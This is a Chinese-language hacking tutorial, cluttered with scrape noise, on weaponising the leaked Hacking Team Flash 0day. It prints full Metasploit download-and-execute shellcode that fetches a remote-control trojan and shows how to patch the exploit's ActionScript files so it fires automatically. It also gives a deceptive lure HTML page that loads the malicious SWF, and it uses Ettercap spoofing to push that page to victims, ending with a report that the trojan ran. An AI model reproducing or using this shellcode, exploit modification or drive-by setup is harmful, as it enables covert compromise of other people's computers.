|
% D4 i+ a z' k2 K4 m y
三、flash 0day之手工代码修改制作下载者实例入侵演示
, R! }2 j* O( A7 Q! `1 x$ S
8 ?6 U7 z* _3 F0 Z6 P( Z3 g1 L: K: N: m7 g J; c6 p0 C
利用到的工具: , ~* J# i. [: F8 N v: g6 L
+ G" Z6 M$ J( h% S3 v9 O. o$ p' c/ A7 q- |+ i* C. y; h4 z
Msf
+ O/ I s. c" V9 t5 W+ N - J& l5 O1 o5 f/ ^( `- N( i
" b W! U. u: S1 r2 N: m Ettercap 9 S4 Y; T0 t9 ^% Y
/ V' M5 @9 W2 i- q; D8 L0 s) v; {) j( } A+ w
Adobe Flash CS6
3 C+ t2 Z7 V! ^% G* k
- w! m$ Q! s3 v8 A' i; _' Z R3 x8 l% O
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
8 m9 }' p8 d" M' ^. R3 q) e3 F 8 G7 j3 ?( } C3 s& p" p0 j
6 U) d1 D7 l! x4 y* u+ V
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options & _$ z0 |; R' |3 S5 V/ X# `0 A
8 \& |7 l, v: `( O" M, l8 T
( o5 \3 \7 G9 a( u) I2 I; D, Y7 z
如图:
" O2 W- c0 U9 y8 U# U$ t
" M$ R Y+ U+ E& c) p1 _3 O! G/ p) T! z, @! f' S
5 h" r# T0 B4 J1 i # u% o: }1 T s6 F
4 l7 ^, R* T; k8 p$ w' n
! E# z6 ?6 S4 c- T0 _% P
7 }* E7 [; i% u0 P; F7 P( v$ {# P7 r- G3 z$ k5 ]
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
; U o, f' X- J" P9 C f% v 6 O( k% r3 F3 j G" u" H3 T; `: P
" v% I* S) ~$ V. e2 q' G7 ^! o- c" A
& E3 _8 z. S/ f/ v $ x' X$ D* t9 Q7 F. r: S$ c
- @; Z5 ^/ s- E! q" O
6 r4 V; `2 E1 x9 e W" H
$ y5 o t2 q# C0 C5 t. f% k" D. Y
" D! W# S8 y/ c" l0 y
然后执行generate -t dword生成shellcode,如下: . L1 \$ d& L3 p( v$ `7 {
) u% _2 r) M9 H" k
3 W9 h! q) U/ Z$ U& T & k0 }# x6 P1 Q8 c4 z3 Z, ]; E
5 u) g" z& h h& U$ \' [3 V3 O ]9 O% M( K, w& p3 x+ p- c* j
复制代码到文本下便于我们一会编辑flash exp,如下:
7 [2 s7 r1 b$ z) D ! D- _0 H) T( M- ^/ F5 z
: L, d; z( T$ ?4 f6 {
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
! O- ] X+ T- b1 w& i/ u $ c6 K0 M' ~$ ` B7 Q$ I7 `
% t8 G" w/ G' e7 f7 e% G 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, # u% \3 n1 G8 p, G9 }, l
3 q3 {' u. d5 ] U
: d" ]1 m i7 q$ x, I 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, + c- a( G# q5 @8 p9 E; B* t$ \& z
+ q; G+ D5 A3 ~* f. n+ l8 |# y
: U T" h b1 y) r$ d
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, . J5 u) q/ [8 J0 j# m- N& [
J, F& e. z( e" A; b8 ]- t, k5 T& G* ]# a* S4 Q" x: u, `
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
% ~! J9 _2 W" n }2 ]+ S( ] / \/ G9 j; [0 `' P+ a
* K( A _/ `8 X3 D/ i/ r. d6 }, _4 V' ~ 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, & V* C' {8 n& o3 H: U/ U
4 I" j1 j; H; D3 x
/ X9 m% F5 I5 m3 r2 ? 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
4 m3 j- U- j4 B ) Z8 h3 s0 Q8 L
) f* a4 v$ ~1 m& `. ~7 c
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, ! ]5 A# n" M1 k* V5 K
7 \# F! x* _" ~+ |
' ~$ i0 W. b$ G 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, $ T- G' J) b5 K/ b$ ]. A
; `) \8 z# c4 l% y! B
7 u& d9 Q0 t0 ^7 l9 G6 u! P 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, ' {$ ^; Q. {8 G( q! |# b( r
. _! B& l* x2 G% g! T7 q1 \# ?7 a/ p- M: F: F2 v3 P
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, 1 B5 G: e4 [" g/ F4 d
C% r" b) H J9 V* }. Y9 J2 q4 q4 }
, A/ h" B+ Z* d6 c e
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, ! L4 N. R! c9 K/ |+ T: e, J
: [1 _0 Y6 V3 O1 x3 J5 e
' q" h; n3 w3 ~6 w I% X
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
/ f9 l# V7 I) ?% n. O* } 2 Q5 v. k K; j* a0 ^, [* G7 a
0 }) G8 V0 e3 x; T/ C/ K9 J
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 4 y' s7 W9 w4 Q1 ?3 ~" t
' e- X" D$ u" d, [# ^+ y6 Z
5 N1 P7 L5 K8 H& M( j) ~* w " o4 D6 |' J" n' ?* a9 B
) H" D/ I: g5 b. c
$ p0 V7 \3 U9 D5 d/ ?# ? 9 h0 o' {- l: I# J- z. _. m
2 s4 h. K9 M4 h' p# g; d: {& K. C: d" X: |( R
下面我们来修改flash 0day exp,需要修改三个文件,分别为: ' G+ ^7 o( I% N% U* X8 W; N
4 L! {, w8 u( ~- D9 S/ M- m) ?1 Z/ }, ]' C
- V; m) S& }1 y5 |2 _
, {# E! A, [( X9 P8 R$ Y2 E2 x9 V1 f& l [+ V. a" t1 O+ _
先修改ShellWin32.as,部分源代码如图: + r4 w! L# Y3 ^# e3 d- ^
# q9 U- {- w& D4 B9 c2 p7 x& X. o! [ d- Y
2 D8 c0 F0 j. s7 F. Z
+ }2 G. Y4 x, E+ [6 ]0 n2 o8 L5 x9 i3 ^ D4 X
我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下:
9 g$ S- g( s, C# D. w 8 X' R3 Y/ y; @" Z1 u
! F' z5 T- t/ G3 J
9 n2 S h$ d7 }6 p9 x4 v& n- ~
. P/ D$ t" l0 ~- A9 p
$ Z8 K' M) D- n9 {8 B 然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
" X6 e' O% z0 X& w
/ `1 E7 G1 O# H+ {% @) i
# x; W/ ?2 t2 w; ?$ `
" M! }! k5 S# i$ f" w- b# E! k
* U5 z1 y ~8 x7 |; y7 Z, j0 m& \1 ]0 ?
换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
0 J( z* }2 [ _) Z9 X $ o- y3 v1 r! ?+ K C
1 ]. r' y; D6 S' `4 e/ M% e7 b 8 O+ H6 N; U r$ \& {5 j( N6 T
, D' [8 r# i. c! E9 x7 Z) c3 p. P2 d) U; n
* `0 w6 c- w+ O% l! A- w
1 }4 Q7 E5 j) p: f, y9 H1 h# d
( f2 A. A& `, h, B* Z9 e " R+ r! h3 @6 d, p
! l( \7 `0 P/ U. Z- G" B
/ y# N. k9 `% h4 E5 t0 r 然后点保存,下面我们来编译一下,打开
5 x4 G: O, P [
) O- j2 F" l# L% Q* r7 t4 r
/ A: X* W4 S; c4 ?9 T* V exp1.fla然后点文件-发布,看看编译没错误
1 \# `0 c8 ]( y0 e. A( W
, e$ {* k" d/ ?' n; ]& k4 D' ^2 A9 k4 @+ W5 F% T, x/ _% x0 p/ m# l% W
3 t. T, W$ H; \7 ]$ d$ O' R
7 [, [" o7 ^: B% ~
8 T- g" ^1 x& N z5 x 9 c+ e, X7 P' v, t, T0 b# O3 }+ |
) u7 X7 Z: _; k1 F9 p* M& L
8 Y4 G( Y" k" {" r0 {$ z7 n * K. z1 x6 \2 T5 Z/ ]- _0 l
1 ~' }: A5 U6 Z& {, u5 `* |$ Z4 M' T; j! i2 M) N3 n, G
2 [& x+ P7 @2 R
% i7 z8 @+ O. M) _8 x$ a4 ]
' ]( `3 j9 m* p& i8 c% W, K. F
然后我们把生成的 & W% r9 r3 G) L4 y2 _
$ ^( M# K8 Y/ `, C
/ x/ ?+ e4 V5 C exp1.swf丢到kailinux 的/var/www/html下: 8 g8 P& g% o" x5 T) t1 ^
, W" f, s r4 h
8 K7 X4 k/ c; N# f/ n5 k6 a9 y- g 然后把这段代码好好编辑一下 " i# }1 Z6 ?8 z2 j6 {' l$ y
/ v9 K! g+ _2 q# C1 P5 F
. T" ?' ~4 [6 n% S; I4 ^0 H8 k; K8 A' R
/ ]; r6 i, G/ g, Y) P) ^4 O
! j! O1 z9 C! V- o$ j; u" I
5 ]& X! A+ _3 p# F , H) l [# @* X: y1 V
; F! R0 J; R/ y
$ l# r @3 q$ j$ h; n5 T8 N
, F5 ?& X5 A9 @# k
7 v- r6 X1 O# e8 N2 a+ [0 s* c+ M$ y: T$ c M2 X7 g
7 s# K; a9 b2 u5 e% V5 a9 h; x
( t+ h7 o% |. X; P9 }# `: K( h2 I) ~7 \$ J9 a+ k
G x. Y8 L6 \4 L: r* `
; B% e! x" z# |2 _( y
3 q3 I! g+ h: O g% T7 H7 {
3 g* H: Q; ?0 Y, z3 ^
- B& o- y' d. p, z. C! q. R8 z
. ]3 L9 G* V. |4 H2 S, t! `( m <!DOCTYPE html> " T0 J7 U5 j/ c3 q& H& F7 o. U
& J% r7 {1 J5 y) u. ~; e7 p
: Z) k, S& K, Z$ k <html> % `7 r3 c5 O6 g% b! u/ b
8 B$ }1 s- J/ C5 D3 R5 j6 t
6 ~$ ~3 ~2 {6 H; Y9 ], U
<head> ; l/ A* L7 \- K" a( o; ~1 p
$ A) D2 M/ b' E7 ?! E
1 H8 m. X9 r& Y7 T& V. J <meta http-equiv="Content-Type" content="text/html;
# S7 A$ W$ T7 u ! f& K; t8 k. C/ f7 k5 r3 D
& {- I$ |: l1 F. h4 p, D1 x/ T) f
charset=utf-8"/> + i% O B( s0 J$ J* G; Q- `
Q) P! f3 {5 v5 }( N
* A1 O6 f/ l6 y1 B1 M( S1 d </head>
& K# K5 O R% M0 ~, {% ]9 z3 J/ P$ l 9 ^& J+ F4 l \. r6 @$ T& s6 V/ a! q
* e# g! z. M/ s6 a
<body> 6 j! S; \' w' e
' v& v5 r8 A; [( z" l1 _& w4 H
" \* G5 g* v" Q <h2> Please wait, the requested page is loading...</h2>
, I2 j1 b2 x- W; U. L+ B( M% w, i # N. a" d; V2 ?1 o, M( ]
3 X b7 u+ D9 ], D/ ]/ t <br>
9 \/ r9 j+ N2 i0 f c5 l. }! D/ E" u( ~" D
( [+ {% Q# r; K8 Q k: {" g
<OBJECT ! e- S: _8 |( }% v
1 D3 C& a7 L$ F& `' ^
" r& f1 U) K/ G% W: M
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie 7 O0 a6 ]) i" W3 L
; {: p, R1 U$ |( K) d1 ^$ ?5 z* U6 K& B' \8 O; h2 G8 d5 t! b. F
VALUE="http://192.168.0.109/exp1.swf"></OBJECT> . ^4 `# z! b0 `2 w. U# _
0 B0 s5 D+ p+ `# L8 L
2 i' s- {. a; `3 Q/ x/ K </body> - M9 F# e) X! s6 y
& K( b: o* x u& w" K3 S# y3 E- _/ U* D) j5 u. O
<script> & [% j% i* ]! A4 T
% Q: D# y' }8 _
+ ]) P' b5 z0 ?& o2 C& q1 l% o& N7 G2 w setTimeout(function () { + }% Z0 y8 g8 Z$ D6 u
; \7 ]% V: y' `. X/ o- I
3 J/ S, \, `, S
: q7 }- b0 A: j3 Q
! v t% U$ C: c& b& d; T6 C8 \. w( I3 v3 Q$ R' \/ Q
window.location.reload(); 0 V7 w4 b9 ^& w1 c5 Z4 X1 I6 B) ]% k
& k. K! a; V; N3 I+ d3 c7 V
a5 `' y; j2 i }, 10000);
* {7 G8 E [) G
0 c* ~. |! U' i j" e( l6 ^- E( f O( _; A% Y4 F8 R
6 @5 u1 g* H f0 j
8 g7 {' s2 q# v) p1 W/ n( i# ]5 e% R) t5 T/ U9 X
</script>
! v0 o' U! J2 W( T V6 c( q
0 m, l# V; r+ i+ l: b% u. \. B7 P1 s3 }& j' z! [/ u
</html> " s- j% U3 L0 o3 m% B
- y+ N, Z& h5 i0 q: N
" f. V0 p( g% u( l0 V" d, X 8 s: |$ ~5 ~$ b
% n/ J& x6 X" |, S
$ \0 y4 Y9 j: H4 w% _8 K& } 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
" g! W1 Y2 E, E: f- T
" O8 j# \$ h" T, L
4 }* s( o/ j/ e* @5 \# X8 C
9 ?1 e* T4 v8 U& O9 E: R% E/ @! w8 ?
6 C; z% Q- K- s) J0 t
/ M0 h* B$ y, v 7 j4 R, u9 `' Z7 t# N7 ?# L
: [. R% C$ N, H* x; I) l* R: x- M( {8 c& r Y8 r& V
* t7 l0 @2 k1 O0 K
0 M- Q1 ]: e( M( y) B- v; ]; R
' n3 e3 B8 R+ A. u. O
4 \2 ^+ k2 H9 {9 _2 t
+ b; O( R* q5 C% t$ G
2 y/ W* S& c: O7 J 3 \8 {6 c: ?/ k O5 k& f
' B/ }2 u% y" h7 y
5 X9 m) g6 J2 q) R 下面我们用ettercap欺骗如图:
1 T7 f# O/ e, T/ f& ~( ~. m+ @9 c5 w
3 n) l& n3 B6 Q* E$ U7 N& @' d! K6 _4 P( l- c# O
( U" P7 z3 b: f4 h6 |1 y; s9 } 5 `9 j. B0 [. C* q9 v. |8 j# [
, u0 V; S2 W6 z3 T# P) @
4 r0 F# b0 d! X
- N3 `* v5 E4 z0 S7 X! X- B m1 r- G, H, f' e
下面我们随便访问个网站看看:
2 ]; ?: ^9 W; {
4 N& _; E1 _+ e# }5 X2 O4 U, w8 h9 p! F. ~5 Y S) d3 P/ t
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图:
7 V# t: k A( [
$ b+ N) ?! w2 C2 R( N* z# T$ k/ L, {: [' ^
; i2 {. k- `( V6 B- y
3 m8 R) D& w! I& y" F2 F& n5 }- L4 V, y8 U! [: k; Q" G
我们看另一台, ) e3 Z2 A% b* h7 v8 [9 y2 h$ Q
* k# o5 G2 S& N- S# w3 a* u1 D2 v( Z
提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。 2 e" g/ ]2 R! |2 T
|